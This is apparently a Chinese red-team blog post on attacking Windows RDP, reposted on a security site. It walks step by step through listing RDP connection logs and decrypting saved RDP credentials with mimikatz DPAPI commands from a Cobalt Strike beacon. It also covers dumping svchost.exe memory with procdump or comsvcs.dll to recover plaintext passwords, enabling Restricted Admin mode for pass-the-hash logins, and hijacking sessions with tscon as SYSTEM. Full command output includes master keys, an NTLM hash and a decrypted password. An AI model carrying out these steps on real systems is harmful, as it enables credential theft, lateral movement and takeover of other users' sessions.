浅析RDP攻击面

admin 2022年6月30日01:39:04浅析RDP攻击面已关闭评论76 views字数 11185阅读37分17秒阅读模式

浅析RDP攻击面

抓取RDP连接日志

工具:https://github.com/Heart-Sky/ListRDPConnections

  • 对外 RDP 连接记录
    对外 RDP 连接记录保存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,默认只包含缺省用户设置和已登录用户的信息
    未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
    需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作
  • 对内 RDP 连接记录
    对内 RDP 连接记录保存在 Wind,。
    一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接
    选取
    EventID: 1149 网络连接 事件作为全量的登录事件,
    EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件

比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。

浅析RDP攻击面

浅析RDP攻击面

CS上可以直接内存加载

execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe

浅析RDP攻击面

浅析RDP攻击面

获取RDP凭据

Dump RDP Credentials From Credentials Directory

场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。

默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下

但是我直接翻的话翻不到

浅析RDP攻击面

浅析RDP攻击面
但是通过命令是可以找到的,而且是cmd,不是powershell

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

浅析RDP攻击面

浅析RDP攻击面

浅析RDP攻击面

浅析RDP攻击面

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.
0x01 凭据保存的目录:

C:\Users\Administrator\AppData\Local\Microsoft\Credentials

0x02 凭据的值:

5EEE4899502166CA91541FD79DA485CB

使用mimikatz来进行操作读取密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB

CS上的话直接

```
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
BLOB
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据

algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
```

在这里我们需要记住guidmasterkey的值,稍后我们需要找到对应的东西
{96768172-a437-4ca8-a877-14e0aa498a3e}

使用这条命令进行把数据保存到c盘的根目录中:mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.

```
beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:

Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6

Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session : NewCredentials from 0
User Name : Administrator
Domain : WEBLOGIC
Logon Server : (null)
Logon Time : 2022/4/24 15:14:41
SID : S-1-5-21-2004965046-3923418856-647414055-500

Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session : Interactive from 1
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/22 1:27:06
SID : S-1-5-21-2004965046-3923418856-647414055-500

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-20

Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID :

Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session : Interactive from 6
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/26 22:57:38
SID : S-1-5-21-2004965046-3923418856-647414055-500
[00000000]
* GUID :{96768172-a437-4ca8-a877-14e0aa498a3e}
* Time :2022/4/27 0:00:37
* MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
* sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1

Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/4/22 1:26:43
SID : S-1-5-19

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-18
[00000000]
* GUID :{628e2357-b149-42af-8714-2a2e22e08f27}
* Time :2022/4/24 16:00:14
* MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
* sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3
[00000001]
* GUID :{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
* Time :2022/4/26 22:50:53
* MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
* sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9
[00000002]
* GUID :{acc494d8-92ca-45e0-9e87-27017cf59c68}
* Time :2022/4/26 23:02:50
* MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
* sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237
[00000003]
* GUID :{afe30aef-f67e-4cea-9b91-71318f566140}
* Time :2022/4/22 1:26:42
* MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
* sha1(key) :39507d003e38633020e85d318e509f55939d208f
```

也就是

MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01

使用下面的命令进行读取密码的信息
这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01

```
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
BLOB
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据

algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

Decrypting Credential:
* masterkey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
CREDENTIAL
credFlags : 00000030 - 48
credSize : 000000b8 - 184
credUnk0 : 00000000 - 0

Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2022/4/26 16:00:20
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/10.10.20.7
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : redteam\saul
CredentialBlob : admin!@#45
Attributes : 0
```

浅析RDP攻击面

Dump RDP Credentials From svchost.exe

在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。前提是这个RDP是当前正在连接的

浅析RDP攻击面

浅析RDP攻击面

拿Windows Server 2012做测试
整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。

找到正确的进程

有2种方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。这仅在 RDP 连接仍处于活动状态时才有效。

浅析RDP攻击面

浅析RDP攻击面

0x02 Command Line
通过如下命令可以找到

netstat -nob | Select-String TermService -Context 1

浅析RDP攻击面
或者是直接找 rdpcorets.dll

tasklist /M:rdpcorets.dll

浅析RDP攻击面

浅析RDP攻击面

Command Line的话需要留心PID,后面创建转储文件的时候会用到

创建转储文件

0x01 Process Hacker
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件

浅析RDP攻击面

浅析RDP攻击面

浅析RDP攻击面

浅析RDP攻击面

0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件

浅析RDP攻击面

浅析RDP攻击面

0x03 ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]

浅析RDP攻击面

浅析RDP攻击面

0x04 comsvc.dll

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

浅析RDP攻击面

浅析RDP攻击面

查找明文密码

可以通过strings命令,但是strings在Windows Server 2012上并不存在。
Mimikatz也支持了这一功能
可以通过下面命令抓取

ts::logonpasswords

浅析RDP攻击面

浅析RDP攻击面

但是Windows Server 2012就有问题,会抓到bytes流之后崩溃

Pass The Hash With Remote Desktop Protocol

Restricted Admin mode

这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。

Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP

利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode

修改注册表开启Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否开启

DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

成功在win7上开启Restricted Admin mode

浅析RDP攻击面

浅析RDP攻击面

Hash登陆RDP实现

这里需要使用mimikatz去pth

这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。
测试了几个实验:
虚拟机环境下
win2012 RDP登陆 win7会出现下图错误

浅析RDP攻击面

浅析RDP攻击面

win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)

浅析RDP攻击面

浅析RDP攻击面

privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

win10登陆win2012没问题

浅析RDP攻击面

浅析RDP攻击面

小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。
这种场景的话主要是
1、有目标机管理员组账号的用户名+hash,还有机器名。
2、修改对方注册表开启Restricted Admin mode(受限管理模式)
3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protocol

RDP会话劫持

系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令

以Windows Server 2012测试
在任务管理器中会出现多个会话

浅析RDP攻击面

可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话

浅析RDP攻击面

浅析RDP攻击面

输入密码后成功登陆

浅析RDP攻击面

浅析RDP攻击面

在Windows Command Line下有一个tscon命令,可以实现上述功能
首先查询会话ID

query user

浅析RDP攻击面

浅析RDP攻击面

然后执行tscon命令即可切换会话

tscon 8 /PASSWORD:rdp1用户的密码

当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。

首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现
PsExec64.exe -s -i cmd

浅析RDP攻击面

浅析RDP攻击面

之后输入

quser //查找rdp ID
tscon 8 /dest:console

成功后直接跳转到该RDP

浅析RDP攻击面

浅析RDP攻击面

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:39:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析RDP攻击面http://cn-sec.com/archives/1148873.html